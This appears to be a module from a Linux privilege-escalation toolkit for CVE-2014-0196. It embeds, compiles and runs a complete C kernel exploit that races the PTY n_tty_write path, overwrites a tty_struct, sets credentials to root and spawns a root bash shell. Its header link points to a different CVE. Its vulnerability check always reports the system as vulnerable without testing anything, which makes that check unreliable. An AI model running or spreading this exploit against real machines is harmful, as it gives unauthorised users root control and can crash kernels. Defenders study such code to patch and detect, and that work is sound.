"""
https://github.com/SecWiki/linux-kernel-exploits/tree/master/2014/CVE-2014-4014
"""
from exploits.exploit import LinuxExploit
from src.kernels import KernelWindow
from constants import *


class CVE20140196(LinuxExploit):
	def __init__(self, playground_path=PLAYGROUND_PATH):
		LinuxExploit.__init__(self)
		self.name = "CVE20140196"
		self.formatted_name = "CVE-2014-0196"
		self.e_type = "linux"
		self.brief_desc = "`n_tty_write` vuln before 3.14.4 allows priv esc to root"
		self.reliability = LOW_RELIABILITY
		self.vulnerable_base = KernelWindow(GENERIC_LINUX, BASE_VULNERABLE, 2, 6, 31, 3, 14, 4)
		self.vulnerable_kernels = [
			KernelWindow(RHEL, VERSION_VULNERABLE, 0, 0, 0, 2, 6, 32),
			KernelWindow(UBUNTU_10, VERSION_VULNERABLE, 0, 0, 0, 2, 6, 32, highest_patch_level="2.6.32-58.121"),
			KernelWindow(UBUNTU_12, VERSION_VULNERABLE, 0, 0, 0, 3, 2, 0, highest_patch_level="3.2.0-61.93"),
			KernelWindow(UBUNTU_12, VERSION_VULNERABLE, 0, 0, 0, 3, 5, 0, highest_patch_level="3.5.0-49.74"),
			KernelWindow(UBUNTU_13, VERSION_VULNERABLE, 0, 0, 0, 3, 11, 0, highest_patch_level="3.11.0-20.35"),
			KernelWindow(UBUNTU_14, VERSION_VULNERABLE, 0, 0, 0, 3, 13, 0, highest_patch_level="3.13.0-24.47"),
			KernelWindow(UBUNTU_GENERIC, BASE_VULNERABLE, 0, 0, 0, 3, 2, 0),
			KernelWindow(DEBIAN_8, VERSION_VULNERABLE, 0, 0, 0, 3, 14, 4, highest_patch_level="3.14.4-1"),
			KernelWindow(DEBIAN_7, VERSION_VULNERABLE, 0, 0, 0, 3, 2, 57, highest_patch_level="3.2.57-3+deb7u1"),
			KernelWindow(DEBIAN_6, VERSION_VULNERABLE, 0, 0, 0, 2, 6, 32, highest_patch_level="2.6.32-48squeeze6"),
			KernelWindow(DEBIAN_GENERIC, BASE_VULNERABLE, 0, 0, 0, 2, 6, 32)
		]
		self.exploit_kernels = [

		]
		self.playground_path = playground_path
		self.exploit_source_file_name = "{}.c".format(self.name)
		self.source_c_path = os.path.join(self.playground_path, self.exploit_source_file_name)
		self.compilation_path = os.path.join(self.playground_path, self.name)
		self.compilation_command = "gcc -o {} {} -lutil -lpthread".format(self.compilation_path, self.source_c_path)
		self.exploit_command = self.compilation_path
		self.exploit_source = """
/*
 * CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race
 * condition
 *
 * Slightly-less-than-POC privilege escalation exploit
 * For kernels >= v3.14-rc1
 *
 * Matthew Daley <mattd@bugfuzz.com>
 *
 * Usage:
 *   $ gcc cve-2014-0196-md.c -lutil -lpthread
 *   $ ./a.out
 *   [+] Resolving symbols
 *   [+] Resolved commit_creds: 0xffffffff81056694
 *   [+] Resolved prepare_kernel_cred: 0xffffffff810568a7
 *   [+] Doing once-off allocations
 *   [+] Attempting to overflow into a tty_struct...............
 *   [+] Got it :)
 *   # id
 *   uid=0(root) gid=0(root) groups=0(root)
 *
 * WARNING: The overflow placement is still less-than-ideal; there is a 1/4
 * chance that the overflow will go off the end of a slab. This does not
 * necessarily lead to an immediate kernel crash, but you should be prepared
 * for the worst (i.e. kernel oopsing in a bad state). In theory this would be
 * avoidable by reading /proc/slabinfo on systems where it is still available
 * to unprivileged users.
 *
 * Caveat: The vulnerability should be exploitable all the way from
 * v2.6.31-rc3, however relevant changes to the TTY subsystem were made in
 * commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer
 * GFP_ATOMIC memory consumption") that make exploitation simpler, which this
 * exploit relies on. (https://github.com/torvalds/linux/commit/acc0f67f307f52f7aec1cffdc40a786c15dd21d9)
 * [v3.14-rc1]
 *
 * Thanks to Jon Oberheide for his help on exploitation technique.
 */

#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <pthread.h>
#include <pty.h>
#include <stdio.h>
#include <string.h>
#include <termios.h>
#include <unistd.h>

#define TTY_MAGIC 0x5401

#define ONEOFF_ALLOCS 200
#define RUN_ALLOCS    30

struct device;
struct tty_driver;
struct tty_operations;

typedef struct {
    int counter;
} atomic_t;

struct kref {
    atomic_t refcount;
};

struct tty_struct_header {
    int magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops;
} overwrite;

typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred);

int master_fd, slave_fd;
char buf[1024] = {0};
commit_creds_fn commit_creds;
prepare_kernel_cred_fn prepare_kernel_cred;

int payload(void) {
    commit_creds(prepare_kernel_cred(0));

    return 0;
}

unsigned long get_symbol(char *target_name) {
    FILE *f;
    unsigned long addr;
    char dummy;
    char name[256];
    int ret = 0;

    f = fopen("/proc/kallsyms", "r");
    if (f == NULL)
        return 0;

    while (ret != EOF) {
        ret = fscanf(f, "%p %c %s\\n", (void **)&addr, &dummy, name);
        if (ret == 0) {
            fscanf(f, "%s\\n", name);
            continue;
        }

        if (!strcmp(name, target_name)) {
            printf("[+] Resolved %s: %p\\n", target_name, (void *)addr);

            fclose(f);
            return addr;
        }
    }

    printf("[-] Couldn't resolve \\"%s\\"\\n", name);

    fclose(f);
    return 0;
}

void *overwrite_thread_fn(void *p) {
    write(slave_fd, buf, 511);

    write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1));
    write(slave_fd, &overwrite, sizeof(overwrite));
}

int main() {
    char scratch[1024] = {0};
    void *tty_operations[64];
    int i, temp_fd_1, temp_fd_2;

    for (i = 0; i < 64; ++i)
        tty_operations[i] = payload;

    overwrite.magic                 = TTY_MAGIC;
    overwrite.kref.refcount.counter = 0x1337;
    overwrite.dev                   = (struct device *)scratch;
    overwrite.driver                = (struct tty_driver *)scratch;
    overwrite.ops                   = (struct tty_operations *)tty_operations;

    puts("[+] Resolving symbols");

    commit_creds = (commit_creds_fn)get_symbol("commit_creds");
    prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred");
    if (!commit_creds || !prepare_kernel_cred)
        return 1;

    puts("[+] Doing once-off allocations");

    for (i = 0; i < ONEOFF_ALLOCS; ++i)
        if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) {
            puts("[-] pty creation failed");
            return 1;
        }

    printf("[+] Attempting to overflow into a tty_struct...");
    fflush(stdout);

    for (i = 0; ; ++i) {
        struct termios t;
        int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j;
        pthread_t overwrite_thread;

        if (!(i & 0xfff)) {
            putchar('.');
            fflush(stdout);
        }

        if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {
            puts("\\n[-] pty creation failed");
            return 1;
        }

        for (j = 0; j < RUN_ALLOCS; ++j)
            if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {
                puts("\\n[-] pty creation failed");
                return 1;
            }

        close(fds[RUN_ALLOCS / 2]);
        close(fds2[RUN_ALLOCS / 2]);

        write(slave_fd, buf, 1);

        tcgetattr(master_fd, &t);
        t.c_oflag &= ~OPOST;
        t.c_lflag |= ECHO;
        tcsetattr(master_fd, TCSANOW, &t);

        if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) {
            puts("\\n[-] Overwrite thread creation failed");
            return 1;
        }
        write(master_fd, "A", 1);
        pthread_join(overwrite_thread, NULL);

        for (j = 0; j < RUN_ALLOCS; ++j) {
            if (j == RUN_ALLOCS / 2)
                continue;

            ioctl(fds[j], 0xdeadbeef);
            ioctl(fds2[j], 0xdeadbeef);

            close(fds[j]);
            close(fds2[j]);
        }

        ioctl(master_fd, 0xdeadbeef);
        ioctl(slave_fd, 0xdeadbeef);

        close(master_fd);
        close(slave_fd);

        if (!setresuid(0, 0, 0)) {
            setresgid(0, 0, 0);

            puts("\\n[+] Got it :)");
            execl("/bin/bash", "/bin/bash", NULL);
        }
    }
}

"""

	def determine_vulnerability(self):
		color_print("\t[*] checking exploitation prerequisites for {}".format(self.name), color="blue")
		# if kernel matches...it should be vulnerable
		color_print("\t[-] system appears to be vulnerable to {}".format(self.name), color="green")
		return True
